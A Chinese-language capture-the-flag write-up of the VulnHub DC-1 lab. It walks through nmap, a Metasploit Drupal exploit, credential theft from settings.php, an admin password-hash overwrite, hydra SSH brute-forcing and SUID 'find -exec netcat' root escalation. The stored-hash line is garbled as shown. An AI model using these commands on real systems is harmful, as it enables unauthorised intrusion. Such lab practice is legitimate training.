过程曲曲折折,中途还看了下题解才断断续续的完成这个靶场。只能说技术不到家。
攻击机:kali ip:192.168.16.134
靶场 : ip:192.168.16.149
首先是到vulnhub官网去下载DC-1的靶场这里就不讲如何下载了,直接开始靶场全过程。
首先确认自己的目标 拿到root用户权限这里网络适配器选择NAT模式,这样会和主机在同一个网段中少浪费一些时间。
启动靶机,然后会是一个登录界面不知道账号密码所以就放在这打开.
启动我们的kali,nmap一下网段我这里是
nmap 192.168.16.0/24
80端口,22端口,应该是80端口拿到权限后获得密码ssh连上。思路先理清然后打开web页面
一个drupal cms的网站,这里直接用工具去扫目录,我比较喜欢用awvs能列出目录的同时还能获取一些可能有价值的漏洞
很清晰啊,这里是有一个漏洞的是drupal的sql注入漏洞我们直接上网站先了解漏洞直接百度打开搜索drupal sql注入一堆文章,顺带提一嘴如果是打真实环境可以把你的kali架在公网服务器上。
上msf看看有没有能用的模块,msf还是继承了挺多这种cms的漏洞的
msfconsole
search drupal
这里找下模块看到有两个一个是2014-10-15,还有一个2018-03-28想想挑个近期一点的用用
use 4
这里的设置信息只要show options 就很好填的不赘述了
获取交互式shell吧
shell
这里如果对方有python3环境就可以使用python调用本地环境获得交互式的命令行
python -c ‘import pty;pty.spawn("/bin/bash")’
ls看一下
有个flag1.txt
直接网页看一下大概是找配置文件吧,这里还是找了一会儿的,没事真实环境的话可能得找更久,同目录的sites目录下
cd sites/default
ls
打开看一下吧
cat settings.php
flag2加数据库账号密码大收获啊,但是flag2的翻译硬是看不懂,百度翻译一下大概是爆破不是唯一的方法意思就是智取,那我们上数据库看看
show databases;数据库语句这里要加分号忘加也没关系他会提示的
这里会看到两个数据库一个mysql5.0以上自带的
一个是drupaldb
这里我操作带过一下
use drupaldb;
show tables;
select * from users;
加密了,去网上看下drupal密码加密的算法看看,估计这就是flag2的提示也不能爆破,好像路到这里暂时停了。我们可以数据库update一下更换掉密码,但是密码也是要通过加密,因为之后要解密对比,所以我们也得生成一个加密的密码,这里是后面翻到文章看到drupalcms有一个password-hash.sh文件可以生成加密后的密码
返回目录使用
find / -name password-hash.sh寻找这个文件执行看看
如果在目录下执行不了就返回上级目录执行
进入数据库
update users set pass=‘
S
S
SDXNvPAWR.EEF/fbM2MmRPz2Ct1xl6X./CxWSsSnJPtF92CkNue.1’ where uid=1;
修改成功
然后去登陆一下
账号 admin 密码 123456
有个flag3文件
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
提示是这个,我一开始没看懂,后来看这这个-exec that command以为是说后台命令执行,但我想着感觉怎么这么奇怪然后去搜drupal命令执行漏洞,对应8.x版本的drupal,看了看这个好像用不上。后来才知道是用find命令去找passwd
然后再etc目录下有个passwd,passwd-,shadow,shadow-文件只有第一个能打开,其他没有权限,我们来看看秉承着弄清楚原理的想法我去搜了一下,这里是别人的博客可以看一下
原文链接:https://blog.csdn.net/a1154490629/article/details/52190801
也就是这其实就是张用户表,下面有个flag4的用户用用吧。大家还记得一开始开放的端口嘛,我们爆破一下ssh 账号flag4
kali下有一个自带的爆破工具hydra挺好用的,只要字典强大,啥都好用
新打开一个终端
如果不知道怎么用可以搜文章也可以直接终端敲出hydra看里面的提示
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.16.149一会儿就出来了账号flag4密码orange,拿出我的finalshell
提权了看下提权方法大家可以看下Ms08067的文章。
find / -user root -perm -4000 -print 2>/dev/null
这个是发现所有suid可执行文件
这里我试了两个方法其他大家可以自己尝试一下
如果find也是suid权限运行的话,那通过find执行的所有命令都会是root权限还有就是linux大部分都安装了netcat所以可以直接弹shell
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
成功提权到root用户了。
等我多打了一些靶场后我把靶场难易程度,大致顺序给兄弟们列一下,兄弟们可以照着我的目录去练
看一下整个流程
ip发现——>端口扫描——>目录结构扫描——>漏洞发现——>漏洞利用——>提权
虽然前面是有些轻松了但这是基础靶场,后面会越来越难,越来越有挑战